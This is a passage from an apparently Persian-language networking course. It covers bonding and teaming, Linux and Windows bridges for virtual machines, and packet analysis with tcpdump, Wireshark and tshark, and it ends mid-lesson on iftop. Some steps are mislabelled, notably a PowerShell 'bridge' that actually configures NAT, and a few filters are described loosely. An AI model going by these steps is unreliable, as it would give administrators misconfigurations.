 [/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” title=”مفهوم و نحوه پیاده‌سازی Bonding/Teaming برای افزایش سرعت و پایداری شبکه” subtitle=”توضیحات کامل”]شبکه‌های امروزی نیازمند افزایش پهنای باند، کاهش تأخیر و افزایش پایداری ارتباطات هستند. برای دستیابی به این هدف، روش‌هایی مانند VLAN برای جداسازی منطقی شبکه‌ها و Bonding/Teaming برای ترکیب چندین اینترفیس شبکه استفاده می‌شوند.

در این بخش، مفهوم Bonding/Teaming، نحوه پیاده‌سازی آن در سیستم‌های لینوکس و ویندوز و ارتباط آن با VLAN بررسی خواهد شد.


۱. مفهوم Bonding و Teaming

۱.۱ Bonding در لینوکس

Bonding یک روش برای ترکیب چندین کارت شبکه (NIC) به یک رابط واحد است که باعث افزایش پهنای باند و افزونگی (Redundancy) می‌شود. لینوکس از Bonding Driver برای این کار استفاده می‌کند و می‌تواند در حالت‌های مختلفی مانند Load Balancing، High Availability و Failover اجرا شود.

۱.۲ Teaming در ویندوز

Teaming در ویندوز عملکرد مشابهی دارد و به مدیریت چندین کارت شبکه تحت یک رابط مجازی کمک می‌کند. این روش توسط Windows Server NIC Teaming پیاده‌سازی می‌شود و بهبود پایداری و تحمل خرابی (Failover) را تضمین می‌کند.


۲. پیاده‌سازی Bonding در لینوکس

۲.۱ نصب بسته‌های موردنیاز

در Debian/Ubuntu:

apt update && apt install ifenslave -y

در RHEL/CentOS:

yum install -y teamd
۲.۲ فعال‌سازی ماژول Bonding در کرنل
modprobe bonding
echo "bonding" >> /etc/modules
۲.۳ پیکربندی Bonding به‌صورت دائمی (Debian/Ubuntu)

ویرایش فایل:

nano /etc/network/interfaces

افزودن تنظیمات:

auto bond0
iface bond0 inet static
    address 192.168.1.100
    netmask 255.255.255.0
    gateway 192.168.1.1
    bond-mode 802.3ad
    bond-miimon 100
    bond-slaves eth0 eth1

اعمال تغییرات:

systemctl restart networking
۲.۴ پیکربندی Bonding در RHEL/CentOS

ایجاد فایل تنظیمات:

nano /etc/sysconfig/network-scripts/ifcfg-bond0

افزودن:

DEVICE=bond0
BOOTPROTO=static
IPADDR=192.168.1.100
NETMASK=255.255.255.0
GATEWAY=192.168.1.1
ONBOOT=yes
BONDING_OPTS="mode=802.3ad miimon=100"

ویرایش فایل اینترفیس‌ها:

nano /etc/sysconfig/network-scripts/ifcfg-eth0

افزودن:

DEVICE=eth0
ONBOOT=yes
MASTER=bond0
SLAVE=yes

اعمال تنظیمات:

systemctl restart network

۳. پیکربندی NIC Teaming در ویندوز

۳.۱ ایجاد Team در Windows Server

۱. در Server Manager به Local Server بروید.
2. روی NIC Teaming کلیک کنید.
3. New Team را انتخاب کرده و کارت‌های شبکه موردنظر را اضافه کنید.
4. یکی از مودهای زیر را انتخاب کنید:

  • Switch Independent (مناسب برای اتصال به سوئیچ‌های مختلف)
  • Static Teaming (نیازمند تنظیم دستی در سوئیچ)
  • LACP (توافق خودکار با سوئیچ)
۳.۲ ایجاد NIC Teaming با PowerShell

مشاهده کارت‌های شبکه:

Get-NetAdapter

ایجاد یک Team با دو کارت شبکه:

New-NetLbfoTeam -Name "Team1" -TeamMembers "Ethernet1", "Ethernet2" -TeamingMode LACP -LoadBalancingAlgorithm Dynamic

بررسی وضعیت:

Get-NetLbfoTeam

۴. ادغام Bonding/Teaming با VLAN

۴.۱ تنظیم VLAN روی Bonding در لینوکس

ویرایش فایل /etc/network/interfaces:

auto bond0.10
iface bond0.10 inet static
    address 192.168.10.1
    netmask 255.255.255.0
    vlan-raw-device bond0

راه‌اندازی مجدد شبکه:

systemctl restart networking
۴.۲ تنظیم VLAN روی NIC Teaming در ویندوز

با PowerShell:

Set-NetAdapter -Name "Team1" -VlanID 10

بررسی VLAN:

Get-NetAdapterAdvancedProperty -Name "Team1" -DisplayName "VLAN ID"

جمع‌بندی

  • Bonding در لینوکس و Teaming در ویندوز، هر دو روش‌هایی برای افزایش پهنای باند و تحمل خرابی هستند.
  • Bonding در لینوکس از طریق تنظیمات /etc/network/interfaces و /etc/sysconfig/network-scripts/ انجام می‌شود.
  • NIC Teaming در ویندوز از طریق Server Manager یا PowerShell قابل تنظیم است.
  • می‌توان VLAN را روی Bonding/Teaming پیاده‌سازی کرد تا مدیریت ترافیک شبکه بهینه شود.

[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” title=”تعریف و پیکربندی Network Bridge برای ارتباط میان شبکه‌ها” subtitle=”توضیحات کامل”]Network Bridge (پل شبکه) یکی از روش‌های اتصال چندین رابط شبکه به یکدیگر است که به عنوان یک سوئیچ مجازی در سیستم‌عامل عمل می‌کند. این روش در محیط‌های مجازی‌سازی، سرورها و همچنین در تنظیمات شبکه‌های گسترده برای ایجاد ارتباط میان چندین شبکه استفاده می‌شود.

در این بخش، به صورت جامع و عملی، نحوه ایجاد و پیکربندی یک Network Bridge در لینوکس و ویندوز بررسی خواهد شد.


۱. مفهوم Network Bridge

Network Bridge به سیستم اجازه می‌دهد چندین کارت شبکه را در یک رابط مشترک تجمیع کند تا ارتباط مستقیم بین آن‌ها برقرار شود. این قابلیت در موارد زیر کاربرد دارد:

  • اتصال چندین شبکه LAN به یکدیگر
  • مجازی‌سازی و ایجاد شبکه مجازی برای ماشین‌های مجازی (VMs)
  • توزیع ترافیک بین چندین رابط شبکه برای بهینه‌سازی ارتباطات

در سیستم‌عامل‌های مختلف، Bridge می‌تواند با یا بدون IP پیکربندی شود. در ادامه نحوه پیکربندی آن در لینوکس و ویندوز توضیح داده خواهد شد.


۲. ایجاد و پیکربندی Network Bridge در لینوکس

۲.۱ نصب ابزارهای مورد نیاز

در Debian/Ubuntu:

apt update && apt install bridge-utils net-tools -y

در RHEL/CentOS:

yum install -y bridge-utils
۲.۲ ایجاد Bridge و افزودن اینترفیس‌ها (دستی – موقت)

ایجاد یک Bridge جدید:

ip link add name br0 type bridge

افزودن کارت‌های شبکه به Bridge:

ip link set eth0 master br0
ip link set eth1 master br0

فعال‌سازی Bridge:

ip link set br0 up

بررسی وضعیت Bridge:

ip addr show br0

نکته: این تنظیمات پس از ری‌استارت سیستم از بین می‌رود و باید برای دائمی کردن آن‌ها از روش زیر استفاده کرد.


۲.۳ پیکربندی دائمی Network Bridge در Debian/Ubuntu

ویرایش فایل /etc/network/interfaces:

nano /etc/network/interfaces

افزودن تنظیمات زیر:

auto br0
iface br0 inet static
    address 192.168.1.100
    netmask 255.255.255.0
    gateway 192.168.1.1
    bridge_ports eth0 eth1

اعمال تغییرات:

systemctl restart networking

۲.۴ پیکربندی دائمی Network Bridge در RHEL/CentOS

ایجاد فایل /etc/sysconfig/network-scripts/ifcfg-br0:

nano /etc/sysconfig/network-scripts/ifcfg-br0

افزودن تنظیمات زیر:

DEVICE=br0
TYPE=Bridge
BOOTPROTO=static
IPADDR=192.168.1.100
NETMASK=255.255.255.0
GATEWAY=192.168.1.1
ONBOOT=yes

ویرایش فایل /etc/sysconfig/network-scripts/ifcfg-eth0:

nano /etc/sysconfig/network-scripts/ifcfg-eth0

افزودن:

DEVICE=eth0
ONBOOT=yes
BRIDGE=br0

اعمال تغییرات:

systemctl restart network

۳. ایجاد و پیکربندی Network Bridge در ویندوز

۳.۱ ایجاد Bridge با رابط گرافیکی

۱. به Control Panel → Network and Sharing Center بروید.
2. روی Change adapter settings کلیک کنید.
3. کارت‌های شبکه‌ای که می‌خواهید در Bridge باشند، انتخاب کنید.
4. روی آن‌ها کلیک راست کرده و گزینه Bridge Connections را انتخاب کنید.
5. چند لحظه صبر کنید تا Windows Bridge ایجاد شود.

۳.۲ ایجاد Bridge در ویندوز با PowerShell

نمایش لیست کارت‌های شبکه:

Get-NetAdapter

ایجاد یک Bridge جدید:

New-NetIPAddress -InterfaceAlias "Ethernet 2" -IPAddress 192.168.1.100 -PrefixLength 24 -DefaultGateway 192.168.1.1
New-NetNat -Name "BridgeNAT" -InternalIPInterfaceAddressPrefix 192.168.1.0/24

بررسی وضعیت Bridge:

Get-NetIPAddress

۴. استفاده از Network Bridge برای ماشین‌های مجازی

۴.۱ ایجاد Bridge در KVM/QEMU
virsh iface-bridge eth0 br0

یا ویرایش فایل XML ماشین مجازی:

<interface type='bridge'>
  <source bridge='br0'/>
  <model type='virtio'/>
</interface>
۴.۲ تنظیم Bridge در VirtualBox

۱. وارد تنظیمات ماشین مجازی شوید.
2. در بخش Network → Adapter 1، گزینه Bridged Adapter را انتخاب کنید.
3. از لیست کارت شبکه‌ها، br0 را انتخاب کرده و ذخیره کنید.

۴.۳ تنظیم Bridge در VMware
  1. وارد تنظیمات ماشین مجازی شوید.
  2. در قسمت Network Adapter، گزینه Bridged Networking را فعال کنید.

جمع‌بندی

  • Network Bridge به سیستم اجازه می‌دهد چندین کارت شبکه را به‌عنوان یک رابط مجازی ترکیب کند.
  • در لینوکس، Bridge از طریق bridge-utils و ip link مدیریت می‌شود و برای پیکربندی دائمی باید فایل‌های تنظیمات ویرایش شوند.
  • در ویندوز، Bridge را می‌توان از طریق کنترل پنل یا PowerShell ایجاد کرد.
  • ماشین‌های مجازی مانند KVM، VirtualBox و VMware از Network Bridge برای ارتباط مستقیم با شبکه استفاده می‌کنند.

[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” title=”استفاده از Bridge برای اتصال ماشین‌های مجازی به شبکه‌های فیزیکی” subtitle=”توضیحات کامل”]در محیط‌های مجازی‌سازی، یکی از مهم‌ترین چالش‌ها، اتصال ماشین‌های مجازی (VM) به شبکه فیزیکی است تا بتوانند مانند یک سرور یا کلاینت واقعی در شبکه فعالیت کنند. برای حل این مشکل، از Bridge Networking استفاده می‌شود.

این روش باعث می‌شود که ماشین مجازی به‌طور مستقیم به شبکه فیزیکی متصل شود، مانند یک کامپیوتر واقعی آدرس IP از DHCP بگیرد و بتواند با سایر دستگاه‌های موجود در شبکه فیزیکی ارتباط برقرار کند.


۱. مزایای استفاده از Network Bridge برای ماشین‌های مجازی

  • اتصال مستقیم ماشین مجازی به شبکه فیزیکی (بدون نیاز به NAT)
  • دریافت آدرس IP از DHCP شبکه (در صورت فعال بودن DHCP)
  • ارتباط بدون محدودیت بین ماشین مجازی و دیگر سیستم‌های شبکه
  • امکان اجرای سرویس‌هایی مانند وب‌سرور، دیتابیس و غیره روی VM و دسترسی از بیرون

۲. ایجاد و پیکربندی Network Bridge در لینوکس برای ماشین‌های مجازی

۲.۱ نصب ابزارهای مورد نیاز

در Debian/Ubuntu:

apt update && apt install -y bridge-utils net-tools

در RHEL/CentOS:

yum install -y bridge-utils
۲.۲ ایجاد یک Bridge جدید در لینوکس

ایجاد یک Bridge جدید به نام br0:

ip link add name br0 type bridge
ip link set br0 up

افزودن کارت شبکه اصلی به Bridge:

ip link set eth0 master br0

بررسی وضعیت Bridge:

ip addr show br0

نکته: این تنظیمات پس از ری‌استارت سیستم از بین می‌رود. برای دائمی کردن آن، باید فایل تنظیمات را ویرایش کنیم.


۲.۳ پیکربندی دائمی Network Bridge در Debian/Ubuntu

ویرایش فایل /etc/network/interfaces:

nano /etc/network/interfaces

افزودن تنظیمات زیر:

auto br0
iface br0 inet dhcp
    bridge_ports eth0

اعمال تغییرات:

systemctl restart networking

۲.۴ پیکربندی دائمی Network Bridge در RHEL/CentOS

ایجاد فایل /etc/sysconfig/network-scripts/ifcfg-br0:

nano /etc/sysconfig/network-scripts/ifcfg-br0

افزودن تنظیمات زیر:

DEVICE=br0
TYPE=Bridge
BOOTPROTO=dhcp
ONBOOT=yes

ویرایش فایل /etc/sysconfig/network-scripts/ifcfg-eth0:

nano /etc/sysconfig/network-scripts/ifcfg-eth0

افزودن:

DEVICE=eth0
ONBOOT=yes
BRIDGE=br0

اعمال تغییرات:

systemctl restart network

۳. تنظیم Bridge در ماشین‌های مجازی KVM/QEMU

۳.۱ ایجاد Bridge در KVM با virsh

اتصال یک کارت شبکه به Bridge:

virsh iface-bridge eth0 br0

یا ایجاد یک Bridge از طریق XML در KVM:

<interface type='bridge'>
  <source bridge='br0'/>
  <model type='virtio'/>
</interface>
۳.۲ پیکربندی Bridge در VirtualBox

۱. وارد تنظیمات ماشین مجازی شوید.
2. در بخش Network → Adapter 1، گزینه Bridged Adapter را انتخاب کنید.
3. از لیست کارت شبکه‌ها، br0 را انتخاب کرده و ذخیره کنید.

۳.۳ تنظیم Bridge در VMware
  1. وارد تنظیمات ماشین مجازی شوید.
  2. در قسمت Network Adapter، گزینه Bridged Networking را فعال کنید.

۴. ایجاد و پیکربندی Bridge در ویندوز برای ماشین‌های مجازی

۴.۱ ایجاد Bridge در ویندوز از طریق GUI
  1. به Control Panel → Network and Sharing Center بروید.
  2. روی Change adapter settings کلیک کنید.
  3. کارت‌های شبکه فیزیکی و مجازی را انتخاب کنید.
  4. روی آن‌ها کلیک راست کرده و گزینه Bridge Connections را انتخاب کنید.
۴.۲ ایجاد Bridge در ویندوز با PowerShell

نمایش لیست کارت‌های شبکه:

Get-NetAdapter

ایجاد Bridge:

New-VMSwitch -Name "BridgeSwitch" -NetAdapterName "Ethernet" -AllowManagementOS $true

بررسی تنظیمات:

Get-VMSwitch

۵. تست اتصال ماشین‌های مجازی به شبکه فیزیکی

پس از تنظیم Bridge، بررسی کنید که ماشین مجازی به درستی متصل شده است:

۵.۱ بررسی دریافت IP در ماشین مجازی

در لینوکس:

ip addr show

در ویندوز:

ipconfig /all
۵.۲ تست ارتباط با شبکه فیزیکی

از ماشین مجازی، Ping به Gateway شبکه بفرستید:

ping 192.168.1.1

جمع‌بندی

  • Bridge Networking یک روش کاربردی برای اتصال ماشین‌های مجازی به شبکه فیزیکی است.
  • در لینوکس، از bridge-utils برای ایجاد و مدیریت Network Bridge استفاده می‌شود.
  • در ویندوز، از GUI یا PowerShell برای ایجاد Bridge میان کارت‌های شبکه استفاده می‌شود.
  • ماشین‌های مجازی در KVM، VirtualBox و VMware می‌توانند از Bridge برای ارتباط مستقیم با شبکه فیزیکی استفاده کنند.
  • پس از پیکربندی، تست اتصال و دریافت IP از DHCP برای بررسی صحت عملکرد Bridge ضروری است.

[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” title=”پیکربندی Bridge Interface در لینوکس” subtitle=”توضیحات کامل”]Bridge Interface یک پل شبکه‌ای مجازی است که برای اتصال چندین کارت شبکه به یکدیگر استفاده می‌شود. این قابلیت در سرورها و محیط‌های مجازی‌سازی بسیار مفید است و به ماشین‌های مجازی یا کانتینرها اجازه می‌دهد که به‌صورت مستقیم به شبکه فیزیکی متصل شوند.


۱. مزایای استفاده از Bridge Interface

  • امکان اتصال چندین کارت شبکه به هم و ایجاد یک شبکه مشترک
  • مدیریت ساده‌تر ارتباط بین ماشین‌های مجازی و شبکه فیزیکی
  • کاهش وابستگی به NAT و افزایش سرعت ارتباطی
  • استفاده در محیط‌های Docker، KVM، Xen و LXC برای ایجاد شبکه‌های مجازی بهینه

۲. نصب ابزارهای مورد نیاز

برای مدیریت Bridge، ابزار bridge-utils مورد نیاز است. برای نصب آن:

در Debian/Ubuntu:

apt update && apt install -y bridge-utils net-tools

در RHEL/CentOS:

yum install -y bridge-utils

۳. ایجاد و پیکربندی Bridge Interface در لینوکس

۳.۱ ایجاد یک Bridge به نام br0 (روش موقت – تا ری‌استارت بعدی)
ip link add name br0 type bridge
ip link set br0 up

افزودن کارت شبکه فیزیکی (مثلاً eth0) به Bridge:

ip link set eth0 master br0

بررسی وضعیت Bridge:

ip addr show br0

نکته: این تنظیمات پس از ری‌استارت سیستم از بین می‌رود. برای دائمی کردن تنظیمات، باید فایل‌های پیکربندی را تغییر دهیم.


۴. پیکربندی دائمی Bridge Interface در Debian/Ubuntu

۴.۱ تنظیمات در /etc/network/interfaces

ویرایش فایل:

nano /etc/network/interfaces

افزودن تنظیمات:

auto br0
iface br0 inet static
    address 192.168.1.100
    netmask 255.255.255.0
    gateway 192.168.1.1
    dns-nameservers 8.8.8.8 8.8.4.4
    bridge_ports eth0

اعمال تغییرات:

systemctl restart networking

۵. پیکربندی دائمی Bridge Interface در RHEL/CentOS

۵.۱ ایجاد فایل پیکربندی Bridge

ویرایش یا ایجاد فایل /etc/sysconfig/network-scripts/ifcfg-br0:

nano /etc/sysconfig/network-scripts/ifcfg-br0

افزودن تنظیمات:

DEVICE=br0
TYPE=Bridge
BOOTPROTO=static
IPADDR=192.168.1.100
NETMASK=255.255.255.0
GATEWAY=192.168.1.1
DNS1=8.8.8.8
ONBOOT=yes
۵.۲ ویرایش فایل کارت شبکه فیزیکی و اتصال آن به Bridge

ویرایش فایل /etc/sysconfig/network-scripts/ifcfg-eth0:

nano /etc/sysconfig/network-scripts/ifcfg-eth0

تغییرات زیر را اعمال کنید:

DEVICE=eth0
ONBOOT=yes
BRIDGE=br0

اعمال تغییرات و ری‌استارت سرویس شبکه:

systemctl restart network

۶. ایجاد و مدیریت Bridge Interface با nmcli (در RHEL/CentOS 7 و جدیدتر)

ایجاد یک Bridge جدید:

nmcli connection add type bridge con-name br0 ifname br0

افزودن کارت شبکه eth0 به Bridge:

nmcli connection add type bridge-slave con-name br0-slave ifname eth0 master br0

تنظیم IP برای Bridge:

nmcli connection modify br0 ipv4.addresses 192.168.1.100/24
nmcli connection modify br0 ipv4.gateway 192.168.1.1
nmcli connection modify br0 ipv4.dns "8.8.8.8,8.8.4.4"
nmcli connection modify br0 ipv4.method manual

فعال‌سازی تنظیمات:

nmcli connection up br0

۷. تست عملکرد Bridge Interface

۷.۱ بررسی وضعیت Bridge
brctl show
۷.۲ بررسی آدرس IP اختصاص‌یافته
ip addr show br0
۷.۳ تست ارتباط با شبکه
ping -c 4 8.8.8.8

جمع‌بندی

  • Bridge Interface به عنوان یک سوییچ مجازی در لینوکس عمل می‌کند و امکان اتصال چندین کارت شبکه را فراهم می‌آورد.
  • در Debian/Ubuntu، پیکربندی دائمی Bridge در /etc/network/interfaces انجام می‌شود.
  • در RHEL/CentOS، تنظیمات در /etc/sysconfig/network-scripts/ ذخیره می‌شود یا با nmcli مدیریت می‌شود.
  • برای تست Bridge، از دستورات brctl show، ip addr show br0 و ping استفاده می‌شود.

[/cdb_course_lesson][cdb_course_lesson title=”فصل 2. مانیتورینگ و عیب‌یابی شبکه”][/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” title=”ابزار tcpdump و بررسی بسته‌های شبکه” subtitle=”توضیحات کامل”]tcpdump یکی از ابزارهای قدرتمند لایه شبکه در سیستم‌عامل‌های یونیکس و لینوکس است که برای آنالیز و بررسی بسته‌های عبوری از کارت شبکه استفاده می‌شود. این ابزار به مدیران شبکه و متخصصان امنیت کمک می‌کند تا ترافیک شبکه را مشاهده و تحلیل کنند.


۱. نصب tcpdump

۱.۱ نصب در Debian/Ubuntu
apt update && apt install -y tcpdump
۱.۲ نصب در RHEL/CentOS
yum install -y tcpdump
۱.۳ بررسی نسخه نصب شده
tcpdump --version

۲. استفاده از tcpdump برای مشاهده بسته‌های شبکه

۲.۱ مشاهده ترافیک شبکه در رابط (interface) مشخص
tcpdump -i eth0

این دستور بسته‌های عبوری از کارت شبکه eth0 را به‌صورت زنده نمایش می‌دهد.

۲.۲ مشاهده بسته‌ها با نمایش جزئیات بیشتر
tcpdump -i eth0 -v

گزینه -v سطح جزئیات را افزایش می‌دهد و اطلاعات بیشتری درباره هر بسته نشان می‌دهد.

۲.۳ مشاهده بسته‌ها با نمایش هدر و محتوا
tcpdump -i eth0 -X

این دستور علاوه بر هدر، محتوای بسته‌ها را به‌صورت هگزادسیمال و اسکی نمایش می‌دهد.

۲.۴ نمایش تعداد مشخصی از بسته‌ها (مثلاً ۱۰ بسته)
tcpdump -i eth0 -c 10

این دستور پس از دریافت ۱۰ بسته متوقف می‌شود.


۳. فیلتر کردن بسته‌ها در tcpdump

۳.۱ فیلتر بر اساس آدرس IP مبدا یا مقصد

مشاهده بسته‌های مربوط به یک آدرس IP مشخص:

tcpdump -i eth0 host 192.168.1.100

مشاهده بسته‌هایی که از یک IP خاص ارسال شده‌اند:

tcpdump -i eth0 src host 192.168.1.100

مشاهده بسته‌هایی که به یک IP خاص ارسال شده‌اند:

tcpdump -i eth0 dst host 192.168.1.200
۳.۲ فیلتر بر اساس پروتکل‌های خاص (TCP, UDP, ICMP)

مشاهده فقط بسته‌های TCP:

tcpdump -i eth0 tcp

مشاهده فقط بسته‌های UDP:

tcpdump -i eth0 udp

مشاهده فقط بسته‌های ICMP (پینگ):

tcpdump -i eth0 icmp
۳.۳ فیلتر بر اساس شماره پورت

مشاهده بسته‌های مربوط به پورت ۸۰ (HTTP):

tcpdump -i eth0 port 80

مشاهده بسته‌هایی که از پورت ۲۲ (SSH) ارسال شده‌اند:

tcpdump -i eth0 src port 22

مشاهده بسته‌هایی که به پورت ۴۴۳ (HTTPS) ارسال شده‌اند:

tcpdump -i eth0 dst port 443
۳.۴ فیلتر کردن بسته‌ها بر اساس آدرس MAC

مشاهده بسته‌های مربوط به یک آدرس MAC خاص:

tcpdump -i eth0 ether host aa:bb:cc:dd:ee:ff

۴. ذخیره‌سازی و خواندن نتایج در tcpdump

۴.۱ ذخیره ترافیک شبکه در یک فایل برای تحلیل بعدی
tcpdump -i eth0 -w /var/log/network_traffic.pcap

این دستور بسته‌های شبکه را در فایل /var/log/network_traffic.pcap ذخیره می‌کند.

۴.۲ مشاهده محتوای فایل ضبط‌شده
tcpdump -r /var/log/network_traffic.pcap

با این دستور، می‌توان محتوای فایل ذخیره‌شده را مشاهده کرد.

۴.۳ فیلتر کردن بسته‌ها هنگام خواندن فایل
tcpdump -r /var/log/network_traffic.pcap port 443

فقط بسته‌های مرتبط با پورت ۴۴۳ را از فایل ذخیره‌شده نمایش می‌دهد.


۵. ترکیب فیلترها برای جستجوی دقیق‌تر

۵.۱ نمایش بسته‌های TCP که از 192.168.1.100 به 192.168.1.200 ارسال شده‌اند و از پورت 80 استفاده می‌کنند
tcpdump -i eth0 src host 192.168.1.100 and dst host 192.168.1.200 and tcp and port 80
۵.۲ نمایش بسته‌های UDP روی پورت 53 (DNS) که از 192.168.1.50 دریافت شده‌اند
tcpdump -i eth0 src host 192.168.1.50 and udp and port 53

۶. تحلیل بسته‌های ذخیره‌شده با Wireshark

اگر نیاز به تحلیل بصری بیشتری داشته باشید، می‌توان فایل ذخیره‌شده را با ابزار Wireshark بررسی کرد. برای این کار:

در سیستم لینوکس یا ویندوز:
۱. Wireshark را باز کنید.
۲. از منوی File گزینه Open را انتخاب کنید.
3. فایل network_traffic.pcap را انتخاب کنید.
۴. بسته‌های شبکه را بررسی و تحلیل کنید.


جمع‌بندی

  • tcpdump یکی از مهم‌ترین ابزارهای بررسی بسته‌های شبکه در لینوکس است.
  • امکان مانیتورینگ زنده بسته‌های شبکه و ذخیره‌سازی برای تحلیل بعدی را فراهم می‌کند.
  • می‌توان بسته‌ها را بر اساس IP، پورت، پروتکل و آدرس MAC فیلتر کرد.
  • نتایج را می‌توان در قالب فایل PCAP ذخیره و با Wireshark بررسی کرد.

[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” title=”ابزار Wireshark و تجزیه و تحلیل بسته‌های شبکه” subtitle=”توضیحات کامل”]Wireshark یکی از قدرتمندترین ابزارهای مانیتورینگ و تحلیل بسته‌های شبکه است که به متخصصان شبکه و امنیت امکان بررسی دقیق ترافیک شبکه را می‌دهد. این ابزار رابط گرافیکی پیشرفته‌ای دارد و می‌تواند پروتکل‌های مختلف را رمزگشایی و بررسی کند.


۱. نصب Wireshark

۱.۱ نصب در Debian/Ubuntu
apt update && apt install -y wireshark
۱.۲ نصب در RHEL/CentOS
yum install -y wireshark
۱.۳ نصب در Windows

۱. آخرین نسخه Wireshark را از سایت رسمی دانلود کنید.
۲. نصب را اجرا کرده و گزینه Npcap را برای مانیتورینگ شبکه انتخاب کنید.
۳. پس از نصب، سیستم را ری‌استارت کنید.

۱.۴ بررسی نسخه نصب شده
wireshark --version

۲. ضبط و مشاهده ترافیک زنده در Wireshark

۲.۱ اجرای Wireshark در لینوکس (رابط گرافیکی)
wireshark &
۲.۲ مشاهده لیست رابط‌های شبکه و انتخاب یک رابط برای ضبط بسته‌ها
tshark -D

مثال خروجی:

1. eth0
2. wlan0
3. lo
۲.۳ ضبط ترافیک روی کارت شبکه eth0
wireshark -i eth0

یا با tshark در محیط ترمینال:

tshark -i eth0
۲.۴ توقف ضبط بسته‌ها

در رابط گرافیکی، روی دکمه Stop کلیک کنید.
در ترمینال، CTRL + C را بزنید.


۳. فیلتر کردن بسته‌ها در Wireshark

۳.۱ فیلتر بر اساس IP مبدا یا مقصد

در فیلد Filter عبارت‌های زیر را وارد کنید:

  • نمایش بسته‌های مربوط به IP خاص:
    ip.addr == 192.168.1.100
    
  • نمایش بسته‌هایی که از یک IP خاص ارسال شده‌اند:
    ip.src == 192.168.1.100
    
  • نمایش بسته‌هایی که به یک IP خاص ارسال شده‌اند:
    ip.dst == 192.168.1.200
    
۳.۲ فیلتر بر اساس پروتکل‌ها
  • نمایش فقط بسته‌های TCP:
    tcp
    
  • نمایش فقط بسته‌های UDP:
    udp
    
  • نمایش فقط بسته‌های ICMP (پینگ):
    icmp
    
۳.۳ فیلتر بر اساس شماره پورت
  • نمایش بسته‌های مربوط به پورت ۸۰ (HTTP):
    tcp.port == 80
    
  • نمایش بسته‌هایی که از پورت ۲۲ (SSH) ارسال شده‌اند:
    tcp.srcport == 22
    
  • نمایش بسته‌هایی که به پورت ۴۴۳ (HTTPS) ارسال شده‌اند:
    tcp.dstport == 443
    
۳.۴ فیلتر کردن بسته‌های DNS
dns
۳.۵ ترکیب فیلترها

مثال: نمایش بسته‌های TCP که از 192.168.1.100 به 192.168.1.200 ارسال شده‌اند و از پورت 80 استفاده می‌کنند:

ip.src == 192.168.1.100 && ip.dst == 192.168.1.200 && tcp.port == 80

۴. ذخیره و تحلیل بسته‌ها در Wireshark

۴.۱ ذخیره ترافیک شبکه در فایل

در رابط گرافیکی، از File → Save As فایل را در فرمت .pcap ذخیره کنید.
در ترمینال، از tshark استفاده کنید:

tshark -i eth0 -w /var/log/capture.pcap
۴.۲ باز کردن فایل ضبط‌شده در Wireshark

در Wireshark، از File → Open فایل capture.pcap را انتخاب کنید.
یا در ترمینال:

wireshark /var/log/capture.pcap
۴.۳ فیلتر کردن بسته‌های ذخیره‌شده
tcp.port == 443 && ip.addr == 192.168.1.100

۵. بررسی مشکلات شبکه با Wireshark

۵.۱ بررسی مشکل کندی اتصال (Latency Analysis)

۱. در تب Statistics گزینه TCP Stream Graphs → Round Trip Time را باز کنید.
۲. اگر مقدار RTT بالا باشد، احتمال وجود مشکل در شبکه وجود دارد.

۵.۲ بررسی قطع شدن ارتباط TCP (Packet Loss)

۱. از Statistics → TCP Stream Graphs → Time-Sequence Graph استفاده کنید.
۲. اگر TCP Retransmission زیاد باشد، ممکن است مشکل در اتصال یا مسیر ارتباطی وجود داشته باشد.
۳. برای بررسی دقیق‌تر، فیلتر زیر را در Wireshark اعمال کنید:

tcp.analysis.retransmission
۵.۳ بررسی حملات ARP Spoofing

۱. در Filter عبارت زیر را جستجو کنید:

arp.duplicate-address-detected

۲. اگر چندین بسته ARP با آدرس مشابه ولی MAC متفاوت مشاهده کردید، ممکن است حمله ARP در جریان باشد.

۵.۴ بررسی ترافیک غیرمجاز (Unauthorized Traffic)

۱. بررسی ارتباطات مشکوک به سرورهای خارجی:

ip.dst != 192.168.1.0/24

۲. بررسی تلاش برای ورود ناموفق (Authentication Failure):

kerberos && ip.src == 192.168.1.200

۳. بررسی پورت‌های باز مشکوک:

tcp.flags.syn == 1 && tcp.flags.ack == 0

۶. استفاده از tshark برای تحلیل بسته‌ها از طریق CLI

۶.۱ مشاهده ۱۰ بسته اول
tshark -i eth0 -c 10
۶.۲ نمایش بسته‌های خاص (مثلاً HTTP)
tshark -i eth0 -Y "http"
۶.۳ استخراج نام دامنه‌های درخواست‌شده از طریق DNS
tshark -i eth0 -Y "dns" -T fields -e dns.qry.name
۶.۴ ذخیره خروجی در فایل متنی
tshark -i eth0 -Y "http" > /var/log/http_requests.txt

جمع‌بندی

  • Wireshark یک ابزار گرافیکی قدرتمند برای تجزیه و تحلیل بسته‌های شبکه است.
  • می‌توان بسته‌ها را بر اساس IP، پورت، پروتکل و آدرس MAC فیلتر کرد.
  • از Wireshark می‌توان برای بررسی مشکلات شبکه‌ای، تشخیص حملات و تحلیل عملکرد شبکه استفاده کرد.
  • tshark نسخه خط فرمان Wireshark است که امکان تحلیل بسته‌ها بدون رابط گرافیکی را فراهم می‌کند.
  • فایل‌های ضبط‌شده در Wireshark می‌توانند با ابزارهای دیگر مانند tcpdump نیز بررسی شوند.

[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” title=”مانیتورینگ پهنای باند شبکه با iftop” subtitle=”توضیحات کامل”]iftop یک ابزار مانیتورینگ لحظه‌ای پهنای باند شبکه است که برای بررسی میزان مصرف ترافیک ورودی و خروجی به تفکیک آدرس‌های IP مورد استفاده قرار می‌گیرد. این ابزار مخصوص محیط‌های لینوکسی و یونیکسی بوده و به‌عنوان جایگزینی برای top در زمینه تحلیل ترافیک شبکه به کار می‌رود.


۱. نصب iftop

۱.۱ نصب در Debian/Ubuntu
apt update && apt install -y iftop
۱.۲ نصب در RHEL/CentOS
yum install -y iftop
۱.۳ نصب در Arch Linux
pacman -S iftop
۱.۴ بررسی نسخه نصب شده
iftop -h

۲. اجرای iftop و نمایش اطلاعات شبکه

۲.۱ اجرای ساده iftop روی یک اینترفیس خاص (مثلاً eth0)
